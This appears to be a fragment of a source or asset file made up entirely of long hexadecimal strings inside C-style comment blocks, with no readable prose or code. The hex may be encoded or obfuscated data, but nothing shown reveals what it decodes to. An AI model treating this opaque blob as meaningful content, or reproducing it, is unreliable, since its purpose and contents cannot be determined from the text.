c377835ba034214cfe248b5133e1eee8beb909c94e826fa4dfe04327e94d695f78184f2d8d5d80d96b0797374ba2bbedb1a3dd1623d9118b71afb4f338a1bb58ef0a219684de45c6d9655a7f4d045a55aee0051a3a7f7082e81b8ac95f5c16ce6166c9026ab3b56f3bc056de1d50d2451c804c4dc50c0bf551b75ed2c805da4f36fb6bee752a7b25ba7c0a399858ee5fd887b337dc2b3ae4a6aafbed9e0043d364d70d0875e2342cff65cfa48c6371f66cf7df08d1fa7640337370f94424364ada53b120a7f720752da85d0c1f896346572b42255275c7f3910a57a942fd502a81f4aad48c20246695ad703950f82fde09b164325b31d9ced439275e1de2b1f709ae67a57ecee37f0b6db3cc1ad9ce4267e0acdd7cb475f43766df325791ffbed7831232c47dd481f9d1670d9579ed2fd3e1af6c3270af6e5e7d8d9e7243ec52045da22aee2cb6e161e6d571ef1ee718ad423f0ef525dfe82853d5e9a74c4e0d66343ea79afa29380c36f2fb737e60b4e2ae7fd4cc8a2b340aece57c179317cb04dfc171029acb569393b1859f6062d6be6b79e879574c3d0d0e48f8366e5d5b129c876f212ed9ea77f2a2ae9a2e895c11127d4e577e4f59be414d2687448694ba43f6d332a0cd20836bcfd9516fd9e51621954012ddf2634b3ebb85e7ebaa22f817441bd7897a967286d3ca3e7e6b9c10fa58d8f205f2a1a2900c2694c05daa358ea9a27cd7661e5da3e7fc5493e5994cc928fbd15f293786c1cb153b02677ad37ccfc0a7c57*/
/*1a3c100225b75651126546a8c61f7ca66985be0276ae4c94f84427521450311649563674b4d6c6cfd8cde429a9d32e39f3d669cee4e8b7d74ec45099f58a22f51518dc97802d75206f152389bc3249ff468e28781c42c1721568aa7dafd0601fbbde01eb5b22f3d214b69c0aadf674f10a73af11411ca9a6ffab8cd0618fbc1ea9ab214fb9ba70e47465d53db988a33860e8270ad801ec6efeb59452d35a923cb1ad4b4514d68f391cf3cdb38c371f9f033434fb13d730cd47fdd079dad383e3e3e53139a87120bdac5fa90a8954aafea4411c4b70b5324fcbbbfce66363ece313726f5b355b314e22d9df117870b1462b7b8b9837641c0b6d38672e9901ce6651ece107e4056e869a62dcd45fca09309ce83d9949d3c5a370018a96ab98257b64043b2517ffa65eac5ddf86172fe1555444af4cf71813d26de3ee2329c2e5ed9e1129cafc08a7f52a118c4f6dfe9f9ae8849efc36d17b166b32c49f5e6fa6f71cd4391311d499f8233379f2eb877c1056324ceaf1d501927ae1385c0d0ff35deb4979577482a1240d47a9e0cd7ad7f87337ece82df2b189288a1c256b4c5c489cb56221299086fdd239baae3657586ab77a89786442603703bac167052054a1fa001316894052479c16991a2366d190a80bece5f0f57b320917f7c94437e2bc98fdcfc7b4efffce8c587b5121c61e65e93a12b56a29ce936dbfc40b779559308d6d9fb411df4b02289cd4cbcb941c0442c9d82e047a62b57e08eca4e24de9f548b312cb9eacf97ec66c83b584ef6cac30b655550b644c7cfe02c50ae44e54d172f0cc7d6a092b9a32c5c04219e6ee9c4c9d131d7d5adc2abcca0c610726bec4a47413f120451e06c1a32d0389cecbef3081ddc366666bdf8c5c089075e2e55255ea827ac07ba115c228e0f02ef4c2076f878069fd367449db3c9822b884205404429e928ac3bd34d00cccba77c64afe605c1d5adde6c0984bdd4ecf7293df600ef39568a01a3350240f785b101459be6fe958b629d8791240e984e07425712543cae648adfad24aec74a5a7ab7706d63f49d912b5ca86d029b20ec247960ed26d9a841372b21697afe9d0fe5dbccdc0861984bc915f07795ea38655fc6411b129a84918087da3730800464c06b4ed9c7621c4436deca6502f06ce63452830251806e319db6f39d5419966a35b0e854f4b57cd61c3f3ff0fdef6d4c86519c140b363b1df9c79885dac9c3ec109def38f0a2a6ef621deb5a335d98e25abce805534602c63fa4cafad59fee26494d840cac6a7e6d376ffc3a2b55999a41dc9cb358f76457b709e165b1dd02bf897a685732664400a3e8ff73faa29e754a656b25925eb7642dc156b28af9c28dcf127933561429bd3238da044a7221073342119ecd48ae8d89af62875b3c4c274769fc520c9dfe8c2a4414fd7a87831179e8b854e5734d47340b78d8fa5a93b0b2f72d9c0e19f14be098ff2ac3a0149235d2e54fc08aa4987a06cc75d32de83e9aa8eb7f4bd36bc238cf3bbb3412986b63df6f02e668d674a881871d412b4f4df78a4facee98a381bc671724414de3e104e79f162f5c922aea70d15bd682324ceb2c99c22ad00cd6b03ebab46ffc2c03183ec471fc6537db68c5b0e3427e0ed5248b01e7f8edd1275c842bfd666b2fec4d6e72bd1f37a7d892c34588c1da04af1f0d074291db379ccfc398ec1d8ac7813a3b789575b85b50b4c37d128a31b2d02896fb13b2ab3fce08606642227e75f011619600d64e329e253618a00916a6b509f00f3888743caefa9b76c19a62197ef9dfa8786c7efad57c53603223c2a5c82d0daf4e55a455422e70a374531d27534abea4affe8842e1f7d064b43253433c79fdf2b9a5ff43b658a1988c962667c74c8dd322340b91a11a27eff264a3096e1b47dceb035f8a919ac88fac212dee796dd084a85486040577f8bffe37804907e2f641fe8731f3acab5816904deb8a275c2a6ac1bd11f8d792cbf3181e709bd429818c527338df96ffda2aad7663289a7041ca77415a48dc1543e9d1298fc733c6dfd90ec4f10082650c28a50d272a6c3a991993aa1039676b1eef0c75e39a4bfd56b6a132e5f10d3be3fdbb18bba8c86395ca32c4e6f970171087760ec0612339ccb4951616fd1fac4496b1f6e151c22245962283c6f99f7204a3a75a3175b1d14bc46f05496d8bce98fb7f7ef7559486f1aadfe1d7bb75b31bb94f97aed10ddcfe823fe75a08483a3e7145154a247c8edf7be5743189acc71bf6a58421620e6b26c52aa7f94b18ff999b1a6fc2e193604696bcc6250abe219af2c2412390cea7dfe3629cc06e14ec581322897f252bb790d81db73ac20891b7d5074ab810c22cece89730fb10b1d1a64ff7769c715547ea0c8a54803deb34775a7e556700e9561b6f6d4e3de86cacbd56ecb5c31bf042cceb58ec836c4270b1816d8fa85b8c680d9596f131b46de08822b56830be518cc7e29bc3998eb5efa178c6723581d36b0ef66bcb1e65fde64939bb35987a52f562213633b461ce5c6c32c7b10daa5581154bdea2b0dee04b7d2ec331a2af04a264e188fc4d652dabd2ed3e34d33df071dbdd22c76d3dfd45ec982fe56ee8180f3c76dbe4067e9b73304e3cf26ad3a4cba50c0f82060fbedd231aa23afd1db950e32996b755b0cd539d5fd85e114d5fae0fb52aca2f4363d2b8d9d93cdd9aa39fad8d2303b9d2c257816af750c0563d7d055f365bfc209cd841ed34a99ee9025c59ee14130873800d5a9d66d18d2b42ac7b678972df02c400e8774859e9bbf70817a872f5e3638aa3a847821ccce91e8a4012a8b*/
/*8f80ba2a6ea31cc50690dddb4fa2f1555d6c7c5e379aff83039a8c517dc247e11edd3b02a5aaa9bf7301c07ead646c55361c9cf51491f84849ef8944876bd82d46095d4f220fc189b85a009a884d6b7c01ab12015a410a160db9ba7bb808020995e2ecac3e4c06617da3d4c19fc09a0f88de55dd6b431b50b281a47ac46a1e11430f67ab111eed348e711e0af28f80ebfe0e9bfbd2dce067432f4698efddd103e1e895c59ecfd1bc87ff7aaa44aa1526d04b051ae7ab63516db6e6518493f8b06b6c5b9d55d87f5bcd4af486edb2c00fe8b1125aaf8a89933b20b68ee4eae0f9dda231e150277c7b7535ed4e6e92ecac8cde39823efb312ecc88eec5ee3eb9ce871b809f3312af6c6e931822b5ab630f4765aeebe9a6ef22330effbfd682161761254a7b37c77bf5ca191c8ad527fb3c434baa729718dacc91903fe7a911649504738f7dfc0f0798b447f3b72f7d7aa3df042e4dc8c58594e5229ce007c1882fd3ac7b3783a7ff175290bc142c194dca4ffe0b7e65f46795de2b8e00acc47c4d9d4930753dbf5e88549902528a6d20910c35351b1a4628b44e704a94e16d3f1cb0ccc0d3026430a053a649f40295abd6326cbba0759943c4bdcfab9a7c6d97980e543dc81392f68d367769ab5cc4c35b28fea329cc5b457fdd0177a983ba0ca0ee0a3a3a697f0b1f9bddcea4701f671d304452a677001938fd4cfd489a658253bc1efebaf050554bb57142ed015f7c9e9ffcfe06402e36eeb6886fdbd8b1fdf7905fa832b2381f99f789c198d37ded376e3c4555c3d334897f533b005199c6d7271213574d9bc990110bb6c9d12c53513c2110e6498a0ff2fd425544753ff7372d78840c60bf2dd1133a5ff17b4d8a94e6b82ba5931b48c0e392b28897d4c367d485faa5cb111c2d979ecc469ecd052f9d8c4f44d6be562ec1a3417d0a1c6166152adef4222fb2f9d17ea066b5fb75383429924bf31bc8424711963bba538fe6d1d2fddf07a4dc8c315cf9a4d9e6c6f8e7f22ebecf07a6c0bcf2424b9b9b400805af3eb8f9b87ded40fbfee62021793dbc676cf028ad7e6fa5f3f09bb72028b7d92c111ca640eff6f954f16ee400f89b54f4a9a72ef04d6664c71819f9f9f575c38380ff7ce71ca5cfcf5419aefecdcab8f3e541c30af64a7bc122db354157cd3ef986d2d6a24efa8005af07e65fc70a6639b78eabf6cd648df2eb3c41c649880cf07a6791ed5412c350c0402744e592e0465069f759d5429808bf36c4293a59162c0ec78fa000badc7aff6cbae0140f408655923f149ecfbd3a29479eef286e67dc6ba0e155d4c45eb98ac15a83e88439e70ec75966257619df5cbfb330aef4585ecef1ca4baf445e4bd20dcf9034acd716eb347989dca33c75ac017802b21f902196eec966fb25bbb0f454d6b11c3df0f57d9e540e120312577e7645aa985ca4d0d7cf79a07eb8380a2541e1274e3fa9c788c0282388fdfafa6848bb848c17c4dd8d3343612828119d6af7b4055034b36af7e3df3be132d274c1c33602b05fb139d069b664b740c0524552e650053fd76118c4c8c8f22607cf4c5f4b45bcdd058ad986480ac83f9fa5feccebb1ebda36a7375ea50a1b8bd09a48109219a8afe8fa0e755e2974a35132ed3a0a37eaf7982948519368dff86b10a73f0b8d14a2d7d268ebcc922f228941751f0b94a8efcfd6d3d44b8fc93eb4b71ad4a5093c9a8faf78a1ef12b9fab46c4bfad64eaad14eaf2acd880c81aa88c14766e99e5d03f37cb7f161ba42e30c7a3b595853807b1c1aa1009d818cd9305c081f6494934caee53a918a00fe042a47db493957cbc071220893ac3e5fb3b72e5ea992170ddff0b439f1b1a075a56e8c98e78e1efcfea9b2f10c3b60af665224aa7b9107fa7195440a4904948ff4f1a8892910dcc6d40ba68b7b6a28d6bac8e8e90a83d5b9dd03bd7b615f07fe352d6a4ca19cbebc2c6bcc5affb6a993fb7a93c1d8ece5cdc7d1661e51fd205111a981979f2c5d7733eb3b80ee67a3b48c3ac92c49bd8fc29a9bd71c4f719afc9923f69b064b7fd483ccb25424e8aec2f41a4fd244f316100491430b278629e4b6a7f1f8bdfca9434913e12ebb6d49229c967ad2fe7d25a81980e6698988eb79262782cc66c780c3241fa34bcc78ff553561d0cac27017cb020d36c045594082c41e07accec135296516807b72100a008443f2f2bb4cbe58f0f54552c38d7af02cabe912e899a7d7e24058579fb176a85ea3e4816d125f6e436462c877f14fc90bdd4b384a0f07d13b89ad51e0e0bed1df68ba9be51988056908714074171db8d54ecb54cbb04437583560c28a42cb17bc14296e834144d52774ceb89ffcae22f0367f92f5248e2b2aedd3985b953840d423db582f4f8bb936d910c95c5489b5dda166c251bf77ded0944f42c128c7135f8dad826337ff9619c765df65d85d03f8de64d05e7b5ff176b48cae2e0b6ff9e63c370e76722d92f14fa518eb5a7e94b10e5194e36424825e751c3e263d5b265d78186b478de8a7ca72e6523b4bd149d870cb4c7a7333ea83dc0cf54fffe2045be7e7b6f429359add3c1db4b6bdb4b3bf8e102174c040dd34d2cca2bf1e4516f40bdf90ee0fc1000fcf7831f71b3c12fb036943dc769035041a8bc8354f68adca451468cbb0fd09620f5bd2ef45fe404b8d851bf719e0f99d25cb4121b85ed0648bf6dd1d59c030fcfd06cbeb92e8bbec5e2c088be6227566f4e545d9941135479401f61f550db0b8c2ebd233932d324cbb158975299c3c672e4d5198fa64a3c81f8d024d411b7df4bb8ba062e116870578cea96459788eb6*/
/*59eb734b6e3f086ed15fefbbea64d49016874d10d53c1b73727277aa88f26816312f7d14069b7bb54a6e5a21e0cd0eb72bef0c37c2e7dd1d81f2fd376df96a8902f7a935fc724cd943fcaba69392c5a454a1902953615a45fafee78b4e5e4ce9cfe58814623b16b044e970162deb86fa4505da429aac8dc7d6ac0ec3cda400dac3cb402e3f7525d94e1fc82849a45ce8a42c89f3fc403b982495c344ec224676c6f4a322cfce45dee49ee9ee6dc58a2b9d60ea40bf5cf0cccc038c64240b805ef90525e0b0476dbbab8ff4e66dbc571aa75ad131e626e2368b0459c0bbfca1158a2f05b0eb98f3edf80b5e41dc80d15217aa97a0958fbeda8b1681c9789f7420bcd13200ef35931d6c5e8b1164c6ed5e0aae67c2a5e7733bbd8744cd6aa6ae185fde4bab05fdbb079c4ed159d92dbd10973ad6529b05c93486ab8810cea5f49b8f486463433fbbe8672487fb842c644f22d6921eec36392b38b8770433cac1c79edffbe8a6c195a785a3c5a594966baeebb7cda1c7d131b656f790070158b7422f77d2fe18c315197f4657626660780913dd98ce25ef1eb8bbeb5bcab68c2e4997b524e0a3bdca527353c97c474418b7e5c16ee3be190fb28fbcc369ef4264bd68d24c63b234f3b7836b0eeab815cce699aea43e83f89433025434e7e9e29af8b35ff090aad75922e49c04b5a55f0ea9f9a9804dd1974d1f355e4930c66c265e84383711c21030be7995085665863fd5f2a1fa626351e93b576e7ef4962de3de970c45e30cb38e406d4a34d5ed61a0c25809251057244b219b89d6874f237705f652639dfa268eb26a36ac8ad0ab8e03e731c9a36f785e4374cd58f250fedd37e7b84381e83a1db26e965d4014570edccbce9c39e1226213645a567094ba2b41aab31973680f4072daf86872cbc68648705ef193f86e4385f3fd0f63ae737f1791573a4e11d8492bb2e2a38d660c3560af08e0d4b70837dfc27bb8d64dc550f7f3ee876f590acde4d04af71d7b32b3455a3029f74b162116a470a60656ddf970f18104e754aa9d488a25736876602877e26e131c966ff7575a0b78dbf0d4e9dc147fa9d418a808d336d5024d19e3af0235160eddd6ec59e6ca42c20f365acc95d1b3a52e8f4abb9c2d785b7bac49f2002130b922948305a01d8104f2a18686232ba491814c142aacc07607dd488db0d727f89c708face3877d2c83bf55c6c9542ee9dcc7bdcd3c2faef71e0d4f9a49caa90e3fffa6f5c4cf468263c59804bcc7ea777a5a33dc07cec64ab7a907a39b669600da7f6adb1c8c35ddd896cf60523a28eb85b78b8cd8b37e6b2df33581c632dbee472a8f7aa1948005d7e6a1708137bfa972e3e5376859ad781467394bd3c62213ae4a7423eb0f77d8a4346a61fd52172d6fd96f91dd0e25b8d324e25bca980601f90a9750d8e3c622972049e5d46a6d46b1eec1724d891730a57b136a6fbb99e360ef14f2b40756323ff5474f73fb02998d549452aed0f55c0f440447ecbe1084de419123fc4c2c3ed8b15805cbbd3efd0042ca8f218cc5688aa7f3b0306a3c46d11c71ce6db4274a4f6aaa17d8a9f4bc379ae2b8804b98121d9d435546b69de1670bda7547bb608c01f6ab744b0a850d639eb4ad1f5cccfe80339bc5933e8303de4045edc4c794b4adf6cc7c9fa69699c8de457757cce0e58158ad25ddde7a57a7c1e1dfd25e21d33fafbb4e8188ef0413664d7248720b06ac6b928078c15ee557d9303be4cfeb143dc612558cbf89252e3337fb9420a6ac41c3c7553d2c565c69058deed6b279060cf95d03c854d4a1ff3fa0c8562d6025205ee47e1311b1fd4a0f24db55b8f4e5b3c0b3f931088df771c800eab0394a93468b6529bf72d520ccf8d696c20d96e87395b03943f4d6aaba3ef66c098911a77944c4aaf3cd467022f1ea658300876e11482842cfe6c57fcd3d3eaecdab4626d15aa059879a41e9e99324b07fdf388369b7e95405dbcd8ed344174fad513430391a34cc53e7d4b98052f902a97b5958790c199794c8c2e62e5b08fd01d44a579cf7ae9dfb73f0d6b402597dd116d8d2adbfd70ec1045f3c305b1f63099c6abc26e40eb385d157c8ce34c0acf688cd1a50fff45a93c1fec29809d06db795f699e2fcf39f09d4984e08f61a8870f1cfe099a4f8f8db6aaccc9132d2c36df7254f613497bc24be9980c67e743b28c608ca97d4d107c3b0824ed24f519f284fd621d1ac472009871b419d8e0e7c73f5cc59f3a8383be54c64de3287f63df4519f2d6e52da24d3e833bcc7d8094ebe70e15af75003571bbef1c568ccc76dd0c193d0e30f5fd4445f6a47b46d96a72632591263d84becd4b77e3675f54cbbacc95385510c3fe74def5e86ae103986bdb63fe519c20478796463b5c8b88fdf8f96db12455493b444c5c6885ead551f146e484c728708141bbaa6b0500be48fcdda18a0ab916841faa349d78a27e2793d73ab6cb6d8c817bb3fbfc4a63101fa5d6de65dd75e7168b7ea02d855558ecbe8a860913054a82ccce713ea2cd180091bbd63e66b6d2d361754060cc8fc986006284b4eb17557af79b4425e49a3b5a66ef736ec9e69528b370924fde43503afbd8c4d9ad79c4b222da45c6111e735a6ecc262ad7368b716a731b83f523659a5df9bc850431f8e4067d8441f82a13612054e9252ad0c92579fdda4a7978f3c10b5951ef42d8e329b1b782490083abc49199ff77cedf1cf209e021e5ae33f9511102a922a228893b45db9c80866949b0032b3c64dfe94d3e8975e40554888ac175ece655443e59091aaf83dc6b83e8376ec2163a84fc45f8ecb1f*/
/*ca89e656a799fb67d935cd613f4cf7b7cb6ae1c7a129d36f94e48711b90b1b701a446d00922d9b40a99a88b12b439eee394883662f56a60ed4d0acd2f577ece8ced68913b7ac2072b7ba77207efef6c383f7ee7d247ea57b1aa91a110084660b9d832ed47ace26954adad7ad9cf7961d6a4c60df8694b5cec53836b5c787aa9960678eb90d1d17fbd1fa2e10aaaf9e78c35e329a615f82443c5123b2aa63cf0b98765b48236bbd9a79e3fac540290558792855de57048d781e55302de61d87ed9e461cf04e6104f012032da665ff6e8a1d2ff3335b2ae9e212cf4c76424508c0477828edc2feac40e734287aeab8a85b87ecdc16d02eab17525283fdd77b6774f9483956bf5ac1af4840988a47ddb61f9c9a7d2f696f6d3594b9e5d7eb90fbffaff94516f72529fd2fca196c17c29a71e23981a02b8bd1e6a8ffcd4d1b44b8600072fcf7ef81e7f3944416a9e1424077e6fa2a1a7633434e522ee373db67fe0d1e726b03f65b0c9f2d503e3a1db85b7c85c9c6e913884b9eb5e30c7029ac071835d406c20b9e18650bbcc51a3b92c4045c4016d4d38e4872512305ed2145c755bb53220cbab3f98df9c9c727a3b5a85a24be8353c45311f48e4576ccd650e5814230369f31388f888646fa39419a7b29746e667d58af9f220377c7704cf0fa25ef982643e906df4c7ab35dde2657029e554cf51b2a5da9b64ee07da29815fd986c230abcd851433e8d9f52cb9e39fd085ef45f28e0ad787124f8c7d8fa3624e3e6d550a3c3b7a2b7978caf2666e316a296e012cdc58e4796718482d9d75778bf753224ace4a6ad69de427ab9c14071a4a6ba5e80264bf221e36273117951be62eb716fa64e44173d0fd74c1c72c8024d05ea7e7710eaf2657a7adf57c2efad01331065cc9ef344cbd4e4c01fbdf84a38c22fb8635b820751564ed33c686eb6cccd1cc63cf4661ee44073da2b715e0534b7537bc7dbf3070bdb28230c103df9d0da94f8cec90578ebfd439433b89e0baea632343bb68964a9bd3085d45f3bd8a3eac08861d6de250172eaef292ff7df54c8142289d54ce5655a66c053ee2dba38e1a4ab236fca70e7d4247748cfd4b2038f8e314a04f9927ad2501e4e74d33aee99e0a881e611f71ced69be9ecf52d2e74f5b59e445441a04ab7cf741e718ccb4b704ce78ff1efbe2080cea425930e6055af3544b389a3157e3eee84360c187aa943b0007a06e9aa0e57a33200a513eb2e5974dcf5c7ff41e0e4fdc4595ccebab83ffcca1b5a7c24dc0dd29abe350e8c120b8b42a3210329c1411456ff64fba40a607e1b7fc467b9051c41c4a24bb2db4462e9e363d054259fc9af03943b616b633062d2d956ec24e9bfc775329c6a51b813b122a94df454a42c91cddc8cb60bba3dfb135a56168b134a3f9f257bc4db8497bfd30e505ca360cff7e75e64dcf713e8d50734cb1b8324238c5d9545f718cf20bc71b8df824dfb09d90468038e8624335b196f7cd418e8886684d795fe0ee5a630f5e1b2a17f3c13e3cbaff6bb8f699120cf162ee684652acba929b5cc7bff4cede206e30967038437b0a75a33f6084277f740281fd162132d0cc0350acecc94d20c865b4a1fe9327ef08fe9bbdb4ced278875aa73e780a6fc1a434536820f856fb9fdb1a982766f794a259f5c417a39339b1cf3a51fab0a06f7517af197b333b2ca5aea48a80241bc5892daa8cc9c7e138e64eea6276ce6103571a9fc65287c780fc3c5234c0b714a09541c665bc4d15d4c768a93813be2278e78198dd4600f8a9a4057709c75770dc334dfb9263d03ccfdf8fe877d2611a701eb6e2e26a2a694f53b7f0ebe7a2c0e55bda274edab11103cfb3f2e38e51c16ff194f42ecd047adcf8d16552dee096c2b7146d2215dc526e1daf1adf6575307a9e966cae93309d5fb6a75d56239dfb842fca6a94d39ea4274eedc731bb77efb7655325c82922d113035ee6b8d45fb2e6573c01befbbf6a0368b92c4320a39fc292edd5120eb94c2ab289456451072a078623330b178ed09193b819bd5dc80546e9018dc6d9e1491cabd682c8bce87f9e44d758275f388a91449fd82e5b82645c17695771d96fba274d2c629360441eb4d878cbe20bbd2c7ff1d2340bacc0b8a6dc3dc3709512e40fe7e03e16ccd9e91c2628fe7164457e7981492f6acf263c20c2ca3e28ae6632388e734b10bc7211d2b6e8c9953b6fa02fa616b055c52f09212f97d505372e5e2418636602e8017a9a23c91abfe55060aa1eef86eb514b6ea1446381cb161d87054fded452fe42acc7290ad92e1a77495cfabdd969d7d6981d0c7e57525360e26a6fbcdabc4bff3e972462bf94ff10e8ab78609c920a6c8657af01fb6ca6a7b839c40bf973ade1a64980017b2f9fcf0bb546c36c0a34edf40de53c54a1f3d74ed6f94104ba0bccb9d8252934d9b4546c471808a646c027e83027a54fbcdbf3277611b49f3f9ad84304affe020fb62422b006d72bf0de0cc78845b55aec7f9d22e826e1a26b4baa0b884ecf516d115a1b5335f27482a7970de27c73b21aaa86d1c5e6bcc1b30245f452e90b10fcc327485a2183a58b51d128d9327d0e168c42cb350a34d523e9425507682892d8a3017ee05389e6a1183bfd3c8003459acaec974cb74208dd45b70bc75b0aa3e4ef045b9b09f4c088df442ca18e4ec66e5f8d0dedc8a5c8903acc7534f1dccf40f03350f3a32c03b569008854abff682646031dd99f503a3c75898df30e2f643bf2d4dcb3cb51ff47b2ff17d39c8bc17ffb2ac003394262dd4d3f7a3999dab1189eadc1020787363c01485090aa696ee75e*/
/*be28f0cd31e91507e86f854a079cf3b1ce1c94fa9592b4cc709da6576e2fdd5d7afe17329e75159beea918a9bd2efff23a6b6ec5c04322a5cf6c2962a142aa1da7334570dd171fc7ebaae9a7125c3e4de456d5fc8f7231ff3aba9479c69e88df3cf71ec9028b027699e0545239cdeccc31d5012f195a69c9b6c15bef671ef078bc0ca748eb8b91c99333b45219b3ee8aef5dfd0f7c5a6330e16f0f670e90b554f2f9e74e86791cdb5fc6ecda0b27dafe6542be1b78aaeb668892a75d2de114934e91819f58e498eb114527a633691a04eee486bbcefa6379d52e8e496db0cb026b988bd620a81a7ec345cad4b68e99283fc0ccdeb593dd423e8433ffda8e4d27a3d4b568f8f3e77d87f64b40b363946122600601afb334e2bef2312ab4a40e67f690d94ac7c04efe7510751c9861a5a0d916c2f2727aef43349d5c55ffd9df89e70b3608372a5934da2995b934eb81b25644ace14c86702a64f00c119f3a4febb8245b5f27bf71d46d92e5ad7c330f22d7338d5b1ce6be2f91e093ffdcb395ab7248e2cfede7a6b4eba29438597bc38a8c2ecf2223345d532b46477724944e19e745112f9311d0561a81d2e10826a6e675ceae4e684305086781dcebafb4465be183566f9ef9a93d1481117b8006892e1971e755d87ab2a7cd4d883e29ef45a3235cc0101dab04b631d7c29f803b7367cf4c34728c689a9e9be15012521e2786505b1d189e821b43aa094548640da123684f298f947b063592bec775c8063a3e377280d6ce2b41b731b7d157ff0e7d1fe734c094573d2eee2f544558cc1e9108d4cc17061a203449a448eef3dbe495e25da7000610198a2e40d5cc897fa071235a35e08a6c2eff37fe4e44363f7ae636cfd25d21c3155b59d45395388877f5c9b9c3d7e1c02e0f072687777fb536141e38a9bc500b2829756f8d066d00ad14a6dba4eaa6a7a4c7d8516bf7f654cfc1cd7495450d26a80d0659cbc008652ea652c5fd621557483c84fecb402e8c041f37a00bf3c8238b2d3347c54e37e20b5afbf295fb2f20e662661bd6bda2e061670d78e6ef17690fcbb1edc895135105f8a111d0b2e9fd92d8f8122814ca987431a467b6e7fb239a0b7c231dda15b10543ce4bbfb1322316dfbfe7066c9af3769aec493fb2aab06e36f01a12c860aa10cb77a89b372bdf2473712b349ea627f6caa2958967ceb5b17a2735f3e8da8c7394dbc847cc79066592335e87e5b293df9b93e211b146474478867410cfb20cdc17ca631963db628a728cf12d411648ea8fe5df6e78919f6fc9e0ed7879265e6ccd122b601ca1add9b8f3725abaed6d92c9f4281a10db9f1c83358f2e3122fd9bf9bac21d8833b9764940640f8578cb324e9086eedc12d623223e6cebcdf496acb9d7288bde6b5b11b1f542203f337992cdc5156e13e56e88af21d953b17e36775fc86d197f7d4b2a971479a7233f22c0fb93339d3dcf71549630d22d1fb5461f9480b226fa0a3d970cc2be44bdb856beae63759448cfa61d8457e710cc82b7ff0d91ea143aab1c65e56ec892d306e8475abde76e2bd71f749dc805873e210ef353ebf3d9e3e21852b308971a5c8371b7a6689f6c4a3a65e77a52bdefeec0f7bfc20076846d66b1420ef4be15574df50694f85e653e08920313e00df6d0bec276e2f8c9e732abc06a2d5e0ea1a8d90a316bfb78031de2c4f0c3b9fd15e97a264fff4e0bd6fde2949bec1f668dfac5fe646fa428e9f0edb547af4fd11e5db2f52360b3c54ea6559b75bcbbaa2349d8c4fdd385b0614b59d398099f96d69251c28b5c648e6eae2e25f9acceb12ae9ce5b29a1a829d34ec98a9f7d08d0de5cabdab7758ae9d1c144676f6106bb891c420d3afa5fc127bf86af2efc4998dd58694b3ae74bc0eb83a1c47adcc2f76ff3d197fc4c2565cbdfd025354844fb6182707a56e272e2b7ab4fd009b9a37df7446698a5c791e409e19bacc9187ade99f4996c631b8690647b4edb45081373552a99344c3eeca09a3ac2006bf41a01dd9c9b649d8e7bfe362bb53a2f5f614fa6bfa0e7a85bc48d05769960ee93c708a368160b135a9eba22275f4f84564d073d6d68d8ee43cb8e196fb064aec3bb8ebcaeb552e9546523222958af915c99d5d63c2bc50ea0db50dcfac7e1f3d6796de3c65e76266f2a1970922146635ebabf7b4fa0ea3475e64680b272d214ff9bc8fd773577edcf416a0cb99fb25e3fd6e894b9504c87522a732886241e26529ff68e02f70e9e26e982ae216ee0ad5808ea21cebb4b661cae2651997e9c6eb92155585dfb5255614eb36099f5204e27b2f5f485d16b6ead8057a8376d2a02d89e7d5525b46f0adb0053ee74ef814b4f10224340379dd622ca44a6cf0018fba9ef5073f874f5c8c31783b8fbe84633b6f42719ad7a214400e3097125728597dd8b567c256225394d86adeb29fd02a2188337a157f86a3c7aac20b58eae0a9bbaed61d11016b1c152bcb73d18c9fa7474d037542276aee93bb149cc372dbcfe03b35c0b75fdfad78e15ebfb870fc540aaea1a2ecc015fbc3998b7d7d10066bb47b5d95d4a6a15bb123469828267df9267ff6924ddb117a7c107d7ad3f0ab86d78f9a82373ac8a9e30cbfbb88106720406975797314b483584be16a0afeb282d4b40c3810abfa5763e0d8e75e9f01138e85fb900dd730acdb27d44d5e9a30799028e4431f0ec7a5bc32b8e3f15aae901dadb3197c8b8fa41d14a94efec98bce844bf6b68253ee720d7af41176b9d0cc519f372f906a4ae77fbcd8ef0f274067c5215e32cc75c5b84fa3ed9272c21b3143557be1dfa59a3fd991c*/
/*1bdae5e4dae78d642e0373844f3efa19c714c1b21d3c6e95440207fe44715cf9250533cc638f8505a783b56173190df35942847d7f91e97026d18187dde42e32df27942bd4815caf8d0afc62f9d626e40cba4f627d48e908e0d1659284d7cb9b3338690f86e2e1f77b9170d8f1e1aa69bc0f0297967429d452b26d218e4d5c968f1858e905fc0a16631abf40b0f17cfe46a8a9f5a445fc178b7915e7609114bf98937820d7c1d4607e8ae2b010670d2c44e789923afadca39e3fa897ca090b24f76f0318459d7937c62b79b27478ca0edbd6e438832741499880c7a7aa79f905c457565c674aa24891c792a66c63658819cd5402a87395b6e174da29fafafba033c53a9a5dca8499c423822ab729341869d01a85075928c83f46a8f8dd633c066a2b6a591aa0e56b93adf56ef72e08de7da96a47f87d058db15582dd8cd955003b8dac0a3439a29295154a512c899941af74425a6bb4be4532c04cb145c8fc44fa6d3ff03686a98d6acae14229ab7abe121d52308bbf982bfc8cb2ca2b9bfc256b46ade336ff7c7e2975ca803370b12047b44af601d33709db96b06e5b1c89254644948877c34b351ff801f9ff1651b92961a17d15d89f9861990a1739c2fadae366fe026504955d5c7d08ecbf03af5bf335f7670a84089e8fddc45eae052662a8e6f2be091c701e5c8212f5e799351af32a89be7b3be77e88720bf866b1ee770ad9c2de97282a1e2ec07dc9b4c88102fe6279cc1507c100c14ba771c0c650e156bc611589359b7f62d2becf3788afc1cea7ccd26eef4f8bd86797dbdcbd458c0391ee6d4fd3642c4d8293ef885c740e119a9dc909f64c8f51341b29782b931dc77101f3e5fe17d93972b88556fe9fb43d9a08750ab82506632621f961e34021da6d6526280441e719ca3a56e14fd2d720d6e64070dc7f2f2f9f029e8e4c9760a7f1738b99fb7a32d35dd76ab762bcd2bf446ba2ce7c046dda66fe4cfed7268a21c7a10abff1e87497467b0ea0a1fd36e3d0b559c04bda8e488f5e38023c0502ce394464fbb90e1fbcd61e491a5fad3c9970226e449c8d2d27f597835f23946a22aeaae385f8d75ae759536aa448fdda74548299c9311b2eda091bd0f289815bed65b8bbca3e38ad250830aeb8912bacb11367c065f9a5f4a5b0ca0b03c189129940426ac6afe8605eb57c1363aa31e4b859bcb4a084a8329dbacc412192bdb223b50f5c48e69a58fdd9f85c4391e68efea274a030d7d64ca68b409980bcefdad96303d63f25ebb83e662ffc3424ce8ab5b830f59b33b5a5f98078957a8bb4bfc540202b0132215f059a9671c409e13b5b17c43019b145c0452539f5d080d8c51dbf0c6a4cb0fd81225e7dd0e83a7783bc83f97a9f47416791d4e73db0e0a76e1327c8c7aa0436c56cdb36646ab793ca05ef4db650860e